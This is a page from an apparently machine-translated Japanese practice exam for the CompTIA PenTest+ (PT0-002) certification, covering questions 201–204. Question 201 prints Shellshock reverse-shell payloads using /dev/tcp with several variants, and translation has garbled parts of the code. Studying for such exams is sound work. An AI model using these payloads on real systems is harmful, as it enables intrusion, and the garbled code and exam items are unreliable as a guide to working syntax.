[2024-08-03更新,371問] 無料CompTIA PT0-002試験問題集、PT0-002復習攻略問題(ページ 42)

PT0-002 試験問題 201

ペネトレーションテスターが 10.10.1.1 で脆弱な Web サーバーを発見しました。次に、テスターは Web エクスプロイトを送信する Python スクリプトを編集し、次のコードを見つけます。
エクスプロイト = {"ユーザーエージェント": "() { 無視されました;};/bin/bash -i>& /dev/tcp/127.0.0.1/9090 0>&1", "Accept":
"テキスト/html,アプリケーション/xhtml+xml,アプリケーション/xml"}
サーバーが実行されているユーザーコンテキストを決定するために、テスターはスクリプトに対して次の編集のうちどれを行う必要がありますか?

A. エクスプロイト = {"User-Agent": "() { 無視されました;};/bin/bash -i>& /dev/tcp/10.10.1.1/80" 0>&1", "Accept" :
"テキスト/html,アプリケーション/xhtml+xml,アプリケーション/xml"}

B. エクスプロイト = {"User-Agent": "() { 無視されました;};/bin/sh -i ps -ef" 0>&1", "Accept":
"テキスト/html,アプリケーション/xhtml+xml,アプリケーション/xml"}

C. エクスプロイト = {"User-Agent": "() { 無視されました;};/bin/bash -i id;whoami", "Accept":
"テキスト/html,アプリケーション/xhtml+xml,アプリケーション/xml"}

D. エクスプロイト = {"ユーザーエージェント": "() { 無視されました;};/bin/bash -i>& find / -perm -4000", "Accept":
"テキスト/html,アプリケーション/xhtml+xml,アプリケーション/xml"}

PT0-002 試験問題 202

あなたは、Web サーバーの強化を任務とするセキュリティアナリストです。
悪意のあるものとしてフラグが付けられた HTTP ペイロードのリストが与えられました。
説明書
次の攻撃シグネチャを考慮して、攻撃の種類を特定し、今後の攻撃を防ぐために関連する修復策を特定します。
シミュレーションの初期状態に戻したい場合は、[すべてリセット] ボタンをクリックしてください。

PT0-002 試験問題 203

ペネトレーションテスターは、あるエンゲージメントで使用する次のスクリプトを作成しました。

このスクリプトは次のどのアクションを実行しますか?

A. リバースシェルをリッスンします。

B. 開いているポートを探します。

C. 開いているポートをフラッディングしようとします。

D. 暗号化されたトンネルを作成します。

PT0-002 試験問題 204

侵入テスト中は、制限されたユーザーインターフェイスを備えたシステムにアクセスできます。このマシンは、ポートスキャンを希望する隔離されたネットワークにアクセスできるようです。
説明書
コードセグメントを分析して、ポートスキャンスクリプトを完了するためにどのセクションが必要かを判断します。
適切な要素を正しい場所にドラッグして、スクリプトを完成させます。
シミュレーションの初期状態に戻したい場合は、[すべてリセット] ボタンをクリックしてください。